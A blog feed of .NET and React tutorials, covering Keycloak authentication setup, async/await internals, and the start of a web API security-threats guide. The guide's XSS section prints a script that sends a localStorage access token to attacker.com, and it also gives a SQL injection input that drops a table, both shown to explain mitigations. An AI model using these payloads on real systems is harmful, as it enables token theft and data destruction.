Forem: Marian Salvan

Configuring React with Keycloak

Marian Salvan — Tue, 07 Apr 2026 10:29:26 +0000

Introduction

In the previous section, we secured a .NET API and validated access using Keycloak.

Now we will integrate a React client so users can authenticate with the same Keycloack instance and call protected API endpoints from the browser.

Note: This article assumes that you have a basic knowledge in React components, contexts and hooks

This section contains the following:

Add React service to Docker Compose
Configure the Keycloak client for React
Configure the audience mapper
Install dependencies and configure Keycloak in React
Create the Keycloak provider and context
Add a simple token service
Protect routes in React
Add login, logout, and profile actions
Testing the authentication and authorization
Conclusion

Add the React service in Docker Compose

If your compose file does not already include the React app, add a frontend service:

services:
  reactapp:
    build:
      context: reactapp.client
      dockerfile: Dockerfile
    ports:
      - "3000:3000"
    depends_on:
      - backend
      - keycloak
    networks:
      - app-network

After this, your app should be reachable at:

Configure the Keycloak client for React

Create a new client in Keycloak for the React app, for example: react-client.

Use these settings:

Client type: OpenID Connect
Client authentication: Off (public client)
Authorization: Off
Standard flow: On
Direct access grants: Off (optional, recommended for browser apps)

In Login settings, set:

Root URL: http://localhost:3000
Home URL: http://localhost:3000
Valid redirect URIs: http://localhost:3000/*
Valid post logout redirect URIs: http://localhost:3000/*
Web origins: http://localhost:3000

This configuration allows the SPA to complete the login flow and return to the app correctly.

Configure the audience mapper

When the React app calls the .NET API, it sends the access token obtained from Keycloak. However, recall that the .NET API is configured to validate the audience field in the token:

ValidAudience = "net-web-api"

By default, tokens issued to the react-client do not include net-web-api as an audience — they are scoped to the React client itself. Without the mapper, every API call from the React app will return 401 Unauthorized.

To fix this, go to the react-client configuration in Keycloak, navigate to Client Scopes, select the react-client-dedicated scope, and create a new mapper of type Audience with the following settings:

Name: net-web-api
Included Client Audience: net-web-api
Add to access token: On

After saving, tokens issued to react-client will include net-web-api in the aud claim, and the .NET API will accept requests coming from the React frontend.

You can verify this by decoding the access token at jwt.io and checking that the aud array contains net-web-api:

{
  "aud": ["net-web-api", "account"],
  ...
}

Install dependencies and configure Keycloak in React

Inside the React project folder, install the required packages:

npm install keycloak-js react-router-dom

Then create the Keycloak configuration file:

import Keycloak from "keycloak-js";

const keycloak = new Keycloak({
  url: "http://localhost:8080",
  realm: "master",
  clientId: "react-client",
});

export default keycloak;

Create Keycloak provider and context

Create a provider that:

Initializes Keycloak when the app starts
Stores access and refresh tokens
Refreshes tokens when they expire

import React, { createContext, useEffect, useState, ReactNode } from "react";
import Keycloak from "keycloak-js";
import keycloak from "./KeycloakConfig";
import { tokenService } from "../services/TokensService";

interface KeycloakContextType {
  keycloakInstance: Keycloak | null;
  authenticated: boolean;
}

export const KeycloakContext = createContext<KeycloakContextType>({
  keycloakInstance: null,
  authenticated: false,
});

export const KeycloakProvider: React.FC<{ children: ReactNode }> = ({ children }) => {
  const [keycloakInstance, setKeycloakInstance] = useState<Keycloak | null>(null);
  const [authenticated, setAuthenticated] = useState(false);

  useEffect(() => {
    const initializeKeycloak = async () => {
      try {
        const auth = await keycloak.init({
          onLoad: "login-required",
          redirectUri: "http://localhost:3000",
        });

        if (auth) {
          setKeycloakInstance(keycloak);

          tokenService.setTokens({
            accessToken: keycloak.token!,
            refreshToken: keycloak.refreshToken!,
          });

          //this handles the auto refresh of the access token
          keycloak.onTokenExpired = () => {
            keycloak
              .updateToken(-1)
              .then((refreshed) => {
                if (refreshed) {
                  tokenService.setTokens({
                    accessToken: keycloak.token!,
                    refreshToken: keycloak.refreshToken!,
                  });
                }
              })
              .catch(() => {
                keycloak.login();
              });
          };
        }

        setAuthenticated(auth);
      } catch (error) {
        console.error("Keycloak init error:", error);
      }
    };

    initializeKeycloak();

    return () => {
      tokenService.clearTokens();
    };
  }, []);

  return (
    <KeycloakContext.Provider value={{ keycloakInstance, authenticated }}>
      {children}
    </KeycloakContext.Provider>
  );
};

Add a simple token service

interface Tokens {
  accessToken: string;
  refreshToken: string;
}

export const tokenService = {
  setTokens(tokens: Tokens) {
    localStorage.setItem("access_token", tokens.accessToken);
    localStorage.setItem("refresh_token", tokens.refreshToken);
  },

  getTokens(): Tokens | null {
    const accessToken = localStorage.getItem("access_token");
    const refreshToken = localStorage.getItem("refresh_token");

    if (accessToken && refreshToken) {
      return { accessToken, refreshToken };
    }

    return null;
  },

  clearTokens() {
    localStorage.removeItem("access_token");
    localStorage.removeItem("refresh_token");
  },
};

Protect routes in React

Create a route guard so unauthenticated users cannot access protected pages:

import { Navigate } from "react-router-dom";
import { JSX, useContext } from "react";
import { KeycloakContext } from "../providers/KeycloakContext";

interface ProtectedRouteProps {
  children: JSX.Element;
}

export const ProtectedRoute = ({ children }: ProtectedRouteProps) => {
  const { keycloakInstance, authenticated } = useContext(KeycloakContext);

  if (!keycloakInstance) {
    return <div>Loading...</div>;
  }

  return authenticated ? children : <Navigate to="/" />;
};

Then wrap routes with this component:

<Routes>
  <Route path="/" element={<ProtectedRoute><Home /></ProtectedRoute>} />
</Routes>

Add login, logout, and profile actions

Let's add basic user management functionality for login, logout and navigating to the profile. This is easy to do because the KeycloakContext already exposes the keycloakInstance that allows us to access this functionality.

import { useContext } from "react";
import { KeycloakContext } from "../providers/KeycloakContext";

export const LoginButton = () => {
    const { keycloakInstance, authenticated } = useContext(KeycloakContext);

    const login = () => {
        keycloakInstance?.login();
    };

    return <button onClick={login} disabled={authenticated}>Login</button>;
};

export default LoginButton;

import { useContext } from "react";
import { KeycloakContext } from "../providers/KeycloakContext";

export const LogOutButton = () => {
    const { keycloakInstance, authenticated } = useContext(KeycloakContext);

    const logout = () => {
        keycloakInstance?.logout();
    };

    return <button onClick={logout} disabled={!authenticated}>Logout</button>;
}

export default LogOutButton;

import { useContext } from "react";
import { KeycloakContext } from "../providers/KeycloakContext";

const ProfileButton = () => {
    const { keycloakInstance, authenticated } = useContext(KeycloakContext);

    const viewProfile = () => {
        const accountUrl = keycloakInstance?.createAccountUrl() ?? '';
        window.location.href = accountUrl;
    };

    return <button onClick={viewProfile} disabled={!authenticated}>Profile</button>;
};

export default ProfileButton;

The final App component should look something like this:

function App() {
    return (
        <div>
            <LoginButton/>
            <ProfileButton/>
            <LogoutButton  />

            <BrowserRouter>    
                <Routes>
                    <Route path="/" element={ <ProtectedRoute><Home /></ProtectedRoute> }/>
                </Routes>
            </BrowserRouter>
      </div>

    );
}

Testing the authentication and authorization

Now that we have the setup for the boiler plate, let's create a Home component that will call the weatherforecast API method and will display the results in a table:

import { useContext, useEffect, useState } from 'react';
import './Home.css';
import { KeycloakContext } from '../../providers/KeycloakContext';

interface Forecast {
    date: string;
    temperatureC: number;
    temperatureF: number;
    summary: string;
}

export const Home = () => {
    const [forecasts, setForecasts] = useState<Forecast[]>();
    const { keycloakInstance, authenticated } = useContext(KeycloakContext);

    useEffect(() => {
        console.log(authenticated);
        populateWeatherData();
    }, []);

    async function populateWeatherData() {
        const response = await fetch('http://localhost:5080/api/weatherforecast', {
            headers: {
                Authorization: `Bearer ${keycloakInstance?.token}`,
            },
        });
        if (response.ok) {
            const data = await response.json();
            setForecasts(data);
        }
    }

    const contents = forecasts === undefined
        ? <p><em>Loading... Please refresh once the ASP.NET backend has started. See <a href="https://aka.ms/jspsintegrationreact">https://aka.ms/jspsintegrationreact</a> for more details.</em></p>
        : <table className="table table-striped" aria-labelledby="tableLabel">
            <thead>
                <tr>
                    <th>Date</th>
                    <th>Temp. (C)</th>
                    <th>Temp. (F)</th>
                    <th>Summary</th>
                </tr>
            </thead>
            <tbody>
                {forecasts.map(forecast =>
                    <tr key={forecast.date}>
                        <td>{forecast.date}</td>
                        <td>{forecast.temperatureC}</td>
                        <td>{forecast.temperatureF}</td>
                        <td>{forecast.summary}</td>
                    </tr>
                )}
            </tbody>
        </table>;

    return (
        <div>
            <h1 id="tableLabel">Weather forecast</h1>
            <p>This component demonstrates fetching data from the server.</p>
            {contents}
        </div>
    );
};

If we try to navigate to our react app at http://localhost:3000 we should be redirected to the login screen of the identity provider:

We can log in with the admin user and we should be redirect to the the react application. Notice the the bearer token has been added to the weatherforecast request and the API returns the list of forecasts.

If we click on the Profile button we should be redirected to the Keycloack user profile page.

I we click on the Logout button we will be redirected to the login page and all the tokens will be removed from the localstorage.

Conclusion

With this integration, the React frontend is now fully connected to both the identity provider and the .NET backend API. Specifically:

Users can authenticate via Keycloak
Tokens are managed on the client, including storage and refresh
Access to protected React routes requires authentication
API requests include Bearer tokens, which are validated by the .NET API

Overall, this creates a complete end-to-end architecture: Keycloak acts as the identity provider, .NET serves as the protected resource server, and React functions as the authenticated client application.

Demystifying Async/Await in .NET

Marian Salvan — Wed, 24 Sep 2025 10:28:54 +0000

Introduction

Modern applications juggle tasks like reading databases, calling APIs, or processing files. If handled poorly, these time-consuming operations can freeze an application's main thread, leading to a sluggish and unresponsive user experience. Asynchronous programming is the solution.

In .NET, the async and await keywords provide a powerful abstraction, allowing you to write non-blocking code that reads as cleanly as synchronous code. But async/await isn't magic—it's syntactic sugar that transforms your methods into a sophisticated state machine.

In this article, we'll explore why async/await is essential, see it in action, and then pull back the curtain to reveal the underlying mechanisms the compiler uses to make it all work.

1. Why `async/await` is a Game-Changer 🚀

Imagine your application needs to fetch user data and then their posts. In a synchronous world, your main thread is held hostage, waiting for each step to complete.

// Synchronous: Main thread is blocked for the entire duration.
var user = FetchUser();        // Blocks for 2 seconds.
var posts = FetchPosts(user);  // Blocks for 3 more seconds.
// Total blocked time: 5 seconds.

With async/await, this waiting happens without blocking. The await keyword effectively tells the main thread, "You can go do other useful work. I'll let you know when this task is done."

// Asynchronous: Main thread is free during the wait.
var user = await FetchUserAsync();
var posts = await FetchPostsAsync(user);

While the total time is still 5 seconds, the main thread is not blocked. In UI applications, this means the interface remains responsive. In server applications, it means the thread is freed to handle other incoming requests, dramatically improving scalability.

2. A Clean `async/await` example

Let's look at a complete console application that demonstrates the non-blocking nature of async/await.

Console.WriteLine($"Main() started on Thread ID: {Environment.CurrentManagedThreadId}");

var userData = await FetchUserDataAsync(2000);
Console.WriteLine($"User name: {userData} (displayed by Thread ID: {Environment.CurrentManagedThreadId})");

var userPostsCount = await FetchUserPostsAsync(userData, 3000);
Console.WriteLine($"Number of posts: {userPostsCount} (displayed by Thread ID: {Environment.CurrentManagedThreadId})");

Console.WriteLine("All async operations completed.");
Console.ReadLine();

async Task<string> FetchUserDataAsync(int delay)
{
    Console.WriteLine($"--> Fetching user data... (Thread: {Environment.CurrentManagedThreadId})");
    await Task.Delay(delay); // Simulates non-blocking network I/O.
    Console.WriteLine($"<-- User data received.");
    return "Alice";
}

async Task<int> FetchUserPostsAsync(string userName, int delay)
{
    Console.WriteLine($"--> Fetching posts for {userName}... (Thread: {Environment.CurrentManagedThreadId})");
    await Task.Delay(delay); // Simulates non-blocking network I/O.
    Console.WriteLine($"<-- Posts received.");
    return 5;
}

Example Output

Main() started on Thread ID: 2
--> Fetching user data... (Thread: 2)
<-- User data received.
User name: Alice (displayed by Thread ID: 4)
--> Fetching posts for Alice... (Thread: 4)
<-- Posts received.
Number of posts: 5 (displayed by Thread ID: 5)
All async operations completed.

What's Happening with the Main Thread?

The main thread starts on Thread ID: 2 and begins executing Main().
- When the program hits the first await, the runtime suspends the remainder of the method, freeing the thread to do other work (e.g., handle thread-pool tasks or remain idle efficiently).
- Once the awaited task completes, the runtime schedules the continuation on an appropriate thread: in a console app, this is typically a thread pool thread (SynchronizationContext is null), while in a UI app, the continuation would return to the original UI thread.
- The key point: the main thread is not blocked by spinning or waiting, but the application will not exit until the top-level Task returned by Main completes.

This is a visual representation of what might actually happen:

3. Behind the Curtain: The Compiler-Generated State Machine

When you use async/await, the compiler transforms your method into a state machine. This complex structure is what allows a method to pause its execution and resume later.

Think of it as a blueprint with different states:

State 0 (Start): The method runs synchronously until it hits the first await. It schedules the asynchronous operation and sets up a "continuation"—the code that should run when the operation is done.
Awaiting State: The method returns an incomplete Task to its caller, freeing up the thread.
Resumption State: When the awaited task completes, the continuation is triggered. The state machine jumps to the next state and continues execution from where it left off.
Final State: The process repeats for every await until the method finishes, at which point the Task it returned is marked as complete.

Here is a simplified simulation of what the compiler generates for our example. This code manually implements the state machine, revealing the logic that async/await hides.

Console.WriteLine($"Main() started on Thread ID: {Environment.CurrentManagedThreadId}");
var stateMachine = new FetchUserStateMachine();
stateMachine.Start();
Console.ReadLine();

// This class manually simulates the compiler's state machine.
class FetchUserStateMachine
{
    private int _state = 0;
    private string _userData;
    private int _userPosts;

    public void Start() => MoveNext();

    private void MoveNext()
    {
        switch (_state)
        {
            case 0: // Start state
                Console.WriteLine($"--> Fetching user data... (Thread: {Environment.CurrentManagedThreadId})");
                var userTask = FetchUserDataAsync(2000);
                _state = 1; // Prepare for the next state.

                // This is the continuation: what to do when the task is done.
                userTask.ContinueWith(t =>
                {
                    _userData = t.Result;
                    Console.WriteLine($"<-- User data received.");
                    MoveNext(); // Resume the state machine.
                });
                break;

            case 1: // Resume after fetching user data
                Console.WriteLine($"User data fetched: {_userData}");
                Console.WriteLine($"--> Fetching posts for {_userData}... (Thread: {Environment.CurrentManagedThreadId})");
                var postsTask = FetchUserPostsAsync(_userData, 3000);
                _state = 2; // Prepare for the final state.

                postsTask.ContinueWith(t =>
                {
                    _userPosts = t.Result;
                    Console.WriteLine($"<-- Posts received.");
                    MoveNext(); // Resume again.
                });
                break;

            case 2: // Final state
                Console.WriteLine($"Number of posts: {_userPosts}");
                Console.WriteLine("All operations completed (state machine version).");
                break;
        }
    }

    // Helper methods to simulate async work.
    private Task<string> FetchUserDataAsync(int delay) => Task.Run(async () => { await Task.Delay(delay); return "Alice"; });
    private Task<int> FetchUserPostsAsync(string name, int delay) => Task.Run(async () => { await Task.Delay(delay); return 5; });
}

Example Output

(Note: Thread IDs may vary on your machine)

--> Fetching user data... (Thread: 1)
// ...waits 2 seconds...
<-- User data received.
User data fetched: Alice
--> Fetching posts for Alice... (Thread: 4)
// ...waits 3 seconds...
<-- Posts received.
Number of posts: 5
All operations completed (state machine version).

This manual version, while verbose, performs the exact same logic as our clean async/await example. It makes the underlying mechanism clear: async/await is a highly refined abstraction over task continuations and state management.

4. The Role of `SynchronizationContext`

One final, crucial piece of the puzzle is the SynchronizationContext. This is the "return address" that determines where a continuation runs.

async/await is context-aware. Before awaiting, it captures the current SynchronizationContext. When the task completes, it attempts to resume execution on that captured context.
- In a UI app (WPF, MAUI), this means the code after await automatically runs on the UI thread, allowing you to safely update UI elements.
- In a Console app, the context is null, so the continuation runs on a thread from the thread pool.
Task.ContinueWith() is context-unaware by default. It almost always schedules its continuation on a thread pool thread. This is why using it in UI apps is dangerous without manual thread handling.

This automatic context management is one of the most powerful features of async/await, preventing countless bugs and simplifying complex threading logic.

5. Conclusion

async/await frees up calling threads, enabling responsive UIs and scalable servers, even during long-running I/O operations.
The compiler is the unsung hero, transforming clean, linear code into a resilient state machine that manages continuations behind the scenes.
async/await intelligently handles the SynchronizationContext, ensuring code resumes in the right place, a critical feature for UI development.

You can read this article for a more in depth coverage of this topic.

Configuring .NET APIs Authorization with Keycloak

Marian Salvan — Sat, 22 Feb 2025 19:43:32 +0000

Introduction

Keycloak is a free, open-source identity and access management solution, sponsored by Red Hat, that simplifies securing modern applications with features like Single Sign-On (SSO) and identity brokering. Its centralized authentication and authorization capabilities, along with user federation and multi-tenancy support, make it a versatile tool for managing user access across various platforms. In this article, I'll guide you through configuring a .NET API with Keycloak, all running on Docker, to create a secure and scalable environment.

For simpler application cases, exploring .NET's built-in authorization and authentication mechanisms using .NET Identity, as covered in some of my previous articles, might be sufficient and worth considering. These foundational approaches can provide the necessary security for many applications without the need for more complex solutions like Keycloak. However, as your application's requirements grow, integrating Keycloak can offer enhanced flexibility and scalability.

This article contains the following:

Initial project setup
Docker compose file
Keycloack server configuration
Securing .NET API with Keycloack

For this tutorial I am using .NET 9, Keycloak version 26.1.0 and Postgres version 17.4.

Initial project setup

For the initial setup, all you need to do is to create a regular .NET API application with the default WeatherForecastController and with the default Dockerfile. Your Dockerfileshould look something like this:

# This stage is used when running from VS in fast mode (Default for Debug configuration)
FROM mcr.microsoft.com/dotnet/aspnet:9.0 AS base
USER $APP_UID
WORKDIR /app
EXPOSE 80
EXPOSE 443

# This stage is used to build the service project
FROM mcr.microsoft.com/dotnet/sdk:9.0 AS build
ARG BUILD_CONFIGURATION=Release
WORKDIR /src
COPY ["ReactApp.Server.csproj", "."]
RUN dotnet restore "./ReactApp.Server.csproj"
COPY . .
WORKDIR "/src/."
RUN dotnet build "./ReactApp.Server.csproj" -c $BUILD_CONFIGURATION -o /app/build

# This stage is used to publish the service project to be copied to the final stage
FROM build AS publish
ARG BUILD_CONFIGURATION=Release
RUN dotnet publish "./ReactApp.Server.csproj" -c $BUILD_CONFIGURATION -o /app/publish /p:UseAppHost=false

# This stage is used in production or when running from VS in regular mode (Default when not using the Debug configuration)
FROM base AS final
WORKDIR /app
COPY --from=publish /app/publish .
ENTRYPOINT ["dotnet", "ReactApp.Server.dll"]

Docker compose file

Now that you have the project setup, you need to add the following docker compose file:

version: '3.9'

services:
  backend:
    build:  
      context: ReactApp.Server
      dockerfile: Dockerfile
    ports:
      - "5080:80"
    environment:
      - ASPNETCORE_ENVIRONMENT=Development
      - ASPNETCORE_HTTP_PORTS=80
    depends_on:
      - keycloak
    networks:
      - app-network

  keycloak:
    image: quay.io/keycloak/keycloak:26.1.0
    command: start-dev
    environment:
        KC_DB: postgres
        KC_DB_URL: jdbc:postgresql://postgres:5432/keycloak
        KC_DB_USERNAME: keycloak
        KC_DB_PASSWORD: password
        KC_BOOTSTRAP_ADMIN_USERNAME: admin
        KC_BOOTSTRAP_ADMIN_PASSWORD: admin
    ports:
      - "8080:8080"
    depends_on:
      - postgres
    networks:
      - app-network

  postgres:
    image: postgres:17.4
    environment:
      POSTGRES_DB: keycloak
      POSTGRES_USER: keycloak
      POSTGRES_PASSWORD: password

    ports:
      - "5432:5432"

    volumes:
      - postgres_data_keycloack:/var/lib/postgresql/data
    networks:
      - app-network

volumes:
  postgres_data_keycloack:

networks:
  app-network:
    driver: bridge

This Docker file is self-explanatory. It has configuration for three services: the backend service on port 5080, the Keycloak service on port 8080, and the PostgreSQL database for storing Keycloak’s data on port 5432. All three services use the app-network for communication, and the database uses a volume for persistent data storage.

To run this configuration, use the following command:

docker compose up --build

If everything is set up correctly, you should be able to navigate to http://localhost:8080/ and see the login page for Keycloak’s management interface.

You can log in using the username and password defined in the Docker Compose file. In this case, this is adminfor both the username and password.

Keycloack server configuration

You’ll notice that the Keycloak management console offers many settings that can be adjusted based on your use case. However, to keep this tutorial concise, I will focus only on the basic configuration.

Step 1 - Create a realm

Once you log in, you need to create a realm. A realm is a security domain that manages a set of users, credentials, roles, and groups, providing isolation between different applications or services. In my case, I am using the default realm — master.

Step 2 - Create a client

In order for an application to be able to use Keycloaks's services such as authorization, authentication and many more, it first needs to be registers inside the Keycloak service. This can be done by creating a new client.

Go to Clients the click on Create client and add the following settings:

Client authentication must be enabled since this service is private. For public services, it should be disabled. In this case, use the Standard flow for authentication — the flow typically used for web applications. The other flows serve different use cases. If you're interested in the specific use cases for each flow, I've included a table with brief explanations in the appendix at the end of this article.

Since this is a backend application, there’s no need to add anything in the Login Settings section.

Securing .NET API with Keycloack

Step 1 - Add Keycloack configuration

You first need the to install the following nuget pacakge:

dotnet add package Microsoft.AspNetCore.Authentication.JwtBearer

In the Program.cs, add the following configuration (note that keycloak:8080 is used to identify the service, as it runs with Docker Compose):

builder.Services.AddAuthentication(JwtBearerDefaults.AuthenticationScheme)
    .AddJwtBearer(options =>
    {
        options.Authority = "http://keycloak:8080/realms/master";
        options.RequireHttpsMetadata = false; // Only for develop
        options.TokenValidationParameters = new TokenValidationParameters
        {
            ValidateIssuer = true,
            ValidIssuer = "http://localhost:8080/realms/master",
            ValidateAudience = true,
            ValidAudience = "net-web-api",
        };
);

Don't forget to also add the proper middlewares:

app.UseAuthentication();
app.UseAuthorization();

And finally add the [Authorize] attribute on the WeatherForecastController:

[Authorize]
[ApiController]
[Route("/api/[controller]")]
public class WeatherForecastController : ControllerBase

Step 2 - Testing authorization

In the .NET API configuration, there is a field called ValidAudience="net-web-api", which means that only if the access token contains the audience net-web-api, it will be allowed to access the resources. To enable this, we need to create a mapper. Go to the net-api-client configuration, then navigate to Client Scopes, select the net-web-api-dedicated scope, and create the following mapper of type Audience:

Now, fetch an access token from the following endpoint so you can test the authorization:

curl --location 'http://localhost:8080/realms/master/protocol/openid-connect/token' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'client_id=net-web-api' \
--data-urlencode 'client_secret=HXduWLurrenfHLadKG71P1GbUKH2HG04' \
--data-urlencode 'grant_type=client_credentials' \
--data-urlencode 'audience=net-web-api'

The client_secret can be found in the Credentials tab of the net-web-api client inside the management console.

Finally, use the token obtained previously to make a call to the weatherforecast endpoint, and you should be able to get the result:

curl --location 'http://localhost:5080/api/weatherforecast' \
--header 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICJVTDlhN25Fc3kzb0RVMGFhSVdSM3pWYkNwdEdsVnZOMjhMMFprdUJBVXVrIn0.eyJleHAiOjE3NDAyNTI2NzYsImlhdCI6MTc0MDI1MjYxNiwianRpIjoiMzIwNDg1ODAtZjlkYS00MjAzLTgyZjUtMjlhN2Y3MWVhODFlIiwiaXNzIjoiaHR0cDovL2xvY2FsaG9zdDo4MDgwL3JlYWxtcy9tYXN0ZXIiLCJhdWQiOlsibmV0LXdlYi1hcGkiLCJhY2NvdW50Il0sInN1YiI6ImUzNWUyZGNmLTJmOGQtNDkxMC1hNWNkLWFiNmJmZDE1MWNhMCIsInR5cCI6IkJlYXJlciIsImF6cCI6Im5ldC13ZWItYXBpIiwiYWNyIjoiMSIsImFsbG93ZWQtb3JpZ2lucyI6WyIvKiJdLCJyZWFsbV9hY2Nlc3MiOnsicm9sZXMiOlsiZGVmYXVsdC1yb2xlcy1tYXN0ZXIiLCJvZmZsaW5lX2FjY2VzcyIsInVtYV9hdXRob3JpemF0aW9uIl19LCJyZXNvdXJjZV9hY2Nlc3MiOnsiYWNjb3VudCI6eyJyb2xlcyI6WyJtYW5hZ2UtYWNjb3VudCIsIm1hbmFnZS1hY2NvdW50LWxpbmtzIiwidmlldy1wcm9maWxlIl19LCJuZXQtd2ViLWFwaSI6eyJyb2xlcyI6WyJ1bWFfcHJvdGVjdGlvbiJdfX0sInNjb3BlIjoiZW1haWwgcHJvZmlsZSIsImNsaWVudEhvc3QiOiIxNzIuMTguMC4xIiwiZW1haWxfdmVyaWZpZWQiOmZhbHNlLCJwcmVmZXJyZWRfdXNlcm5hbWUiOiJzZXJ2aWNlLWFjY291bnQtbmV0LXdlYi1hcGkiLCJjbGllbnRBZGRyZXNzIjoiMTcyLjE4LjAuMSIsImNsaWVudF9pZCI6Im5ldC13ZWItYXBpIn0.Dv0u_z25t7YRrrCBtjjM6ETbmm7HuM2oAly3RBCpNFKMvellMieimFwUHfMIiKt0Ju6JUqr8KpTfX1aekBMSkRwcBDGTgs-TMByn-mNSawbTay1WAvrwYnSPPqgk4TJolmzFooNt-zw4uHAfBmf_Lg5KAwtM6_q2vTbUJmOUbUK-KupdwfT9q9poQ_ckBcnGAz3o-xAIMcwfnmOFWzF6aINZ6ZPrD4FiFeRrzXP6JePdvfFds3O514nFt4exV1rkEDXQMDTr7fK03TYQxXOlNXwOyWJf102eMRGwBxy7SQyibB0O9bIPZWUzjuXMP2kQ6hC9T1p-PZvUTYNUSOQz1g'

Conclusions

In this article, I have demonstrated how to configure a Keycloak server and use it to secure a .NET API. I plan to write another article where I will extend this example with a simple React application. In the following article, I will show you how to configure the React client app to integrate with the existing secure API and implement basic functionalities such as login, logout, viewing user profile data, and refresh token handling.

Appendix - Authentication flows

Flow	Description	Use Case
Standard Flow	OAuth 2.0 Authorization Code Flow. User logs in via Keycloak, client exchanges code for tokens.	Web apps with secure server-side storage.
Direct Access Grants	Client sends username/password to get tokens directly.	Trusted apps (e.g., CLI tools, legacy systems).
Implicit Flow	Tokens are returned directly after login (no code exchange).	Single-page apps (SPAs) or mobile apps (less secure, now discouraged).
Service Accounts Roles	Client authenticates itself (no user) using client credentials to get tokens.	Machine-to-machine (M2M) or backend services.
Device Authorization Grant	User authorizes a device via a code on another device.	Devices with limited input (e.g., smart TVs, IoT).
OIDC CIBA Grant	Authentication happens on a separate device/channel without user interaction on the client.	Scenarios where user interaction isn’t possible (e.g., banking apps, IoT).

How to protect your .NET Web API against Common Security Threats

Marian Salvan — Thu, 13 Feb 2025 18:26:53 +0000

Introduction

If you're a web developer, you’re likely aware of the numerous threats that can compromise your web application. In this article, I’ll focus on some of the most common security risks that can impact your APIs and some key security principles. I will mainly highlight how to leverage .NET functionalitities to mitigate these threats, but this tecniques can be easily applied to any other language out there.

Here is the list of the topics I will cover:

Authentication, Authorization and Permissions
Secrets Management
SQL Injection
Cross-Site Scripting (XSS)
Cross-Site Request Forgery (CSRF)
Cross-Origin Resource Sharing (CORS)
Denial of Service
Encryption and HTTPS
Third Party Dependencies

Authentication, Authorization and Permissions

Authentication and authorization are essential for securing any web API, making it crucial to implement them properly. I’ve previously written two articles on token-based authentication and authorization with .NET Identity, which you can check out if you're interested. Now, let’s dive into common security threats and how to mitigate them:

Weak Authentication – user password policies can make accounts vulnerable to brute-force attacks
Excessive Permissions – users with more privileges than necessary can exploit their access to damage the system

Mitigation strategies

Use Third-Party Authentication Providers – rely on trusted providers like Google, Facebook, or Microsoft to enhance security
Prevent User Enumeration – Limit users' visibility to only the accounts they need to interact with, reducing the risk of brute-force attacks
Secure Your Own Authentication System – if managing authentication yourself: require strong, complex passwords, hash and encrypt passwords properly and, if possible, enforce multi-factor authentication (MFA)
Implement Single Sign-On (SSO) – if you manage multiple applications within a suite, consider using an identity provider like Auth0 or hosting your own (e.g., Keycloak)
Follow the Principle of Least Privilege (PoLP) – assign only the permissions necessary for users to complete their tasks. This is why I prefer claims-based and policy-based authorization over role-based authorization—they offer more flexibility in assigning precise access controls

Secrets Management

A strong authentication and authorization system is meaningless if your encryption keys or sensitive data are compromised.

The biggest risk is improper storage of application secrets, such as database connection strings, encryption keys, and API keys. Exposing these secrets can lead to serious security breaches.

Mitigation Strategies

Secrets in Development – never commit secrets to source code. For local development, store them in a separate file that is excluded from version control. In .NET, you can use User Secrets to manage them securely
Secrets in the Cloud – use cloud-native secret management solutions like Azure Key Vault or AWS Secrets Manager to store and protect sensitive information
Secrets in On-Premise Setups – if running on-premises, store secrets in environment variables. While not as secure as a dedicated secret management system, you should ensure the server has additional security measures in place

SQL Injection

SQL Injection attacks happen when an API constructs a SQL query in an insecure way, allowing attackers to manipulate the query and potentially gain unauthorized access to the database.

For example, consider the following vulnerable query:

string query = "SELECT * FROM Users WHERE Username = '" + userInput + "'";

A malicious actor could send the following input: '; DROP TABLE Users; --, which would effectively delete the Users table.

Mitigation strategies

Limit Database Permissions – even if an injection occurs, restricting database privileges can minimize damage
User parametrized queries - this ensures that the user input is treated as data and not as an executable SQL query

string query = "SELECT * FROM Users WHERE Username = @username";
using (SqlCommand cmd = new SqlCommand(query, connection))
{
    cmd.Parameters.AddWithValue("@username", userInput);
    //query execution
}

Use ORMs (such as Entity Framework) - they generate safe queries automatically

//EF example
var user = db.Users.FirstOrDefault(u => u.Username == userInput);

Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) vulnerabilities pose a significant threat to REST APIs, especially when they return data that will be rendered as HTML in the client's browser. If an API returns unsanitized user input, it can inadvertently allow attackers to inject malicious scripts into the website or application.

Consider a simple .NET Core Web API that handles user-submitted comments:

public record Comment
{
    public string UserName { get; set; }
    public string Content { get; set; }
}

[ApiController]
[Route("api/[controller]")]
public class CommentsController : ControllerBase
{
    private static List<Comment> _comments = new List<Comment>();

    [HttpPost]
    public IActionResult Post([FromBody] Comment comment)
    {
        _comments.Add(comment);
        return Ok();
    }

    [HttpGet]
    public IActionResult Get()
    {
        return Ok(_comments);
    }
}

In this example, the API simply returns user-submitted comments without any sanitization. If a user submits a comment containing malicious JavaScript:

<script>
  // Retrieve the access token from localStorage
  var accessToken = localStorage.getItem('access_token');
  // Send the access token to the attacker's server
  fetch('https://attacker.com/steal-token', {
    method: 'POST',
    body: JSON.stringify({ token: accessToken }),
    headers: { 'Content-Type': 'application/json' }
  });
</script>

This malicious script will execute once the comment is displayed in the client's browser, stealing the access token and sending it to the attacker's server.

Mitigation strategies

Server-side Sanitization - use a library like HtmlSanitizerto sanitize user input before storing or returning it. This ensures that any potentially harmful scripts are removed from the content

using Ganss.XSS;

[HttpPost]
public IActionResult Post([FromBody] Comment comment)
{
    var sanitizer = new HtmlSanitizer();
    comment.Content = sanitizer.Sanitize(comment.Content);
    _comments.Add(comment);
    return Ok();
}

Escape HTML characters - ensure that HTML characters are properly escaped when rendering data in the front end. Modern front-end frameworks like React or Angular do this by default, but developers should always double-check their frameworks' documentation to ensure proper sanitization
Implement Content Security Policy (CSP) - CSP is a browser feature that helps detect and mitigate certain types of attacks, including XSS. You can configure a CSP header to specify allowed sources for content, such as scripts, images, and styles, thus preventing the execution of untrusted scripts.

Example Nginx configuration:

add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self';";

This configuration restricts the loading of content types (scripts, styles, images) to the same origin as the document, reducing the risk of XSS attacks.

Validate user inputs – ensure that you validate user inputs, such as the length of strings and formats. I like to use the strategy of defense-in-depth and perform validations both on the front-end and the back-end. Front-end validation ensures that users get immediate feedback on their inputs, while back-end validation ensures that no corrupted data is saved in the database. The FluentValidation library is a great tool for validating user inputs in .NET

Cross-Site Request Forgery (CSRF)

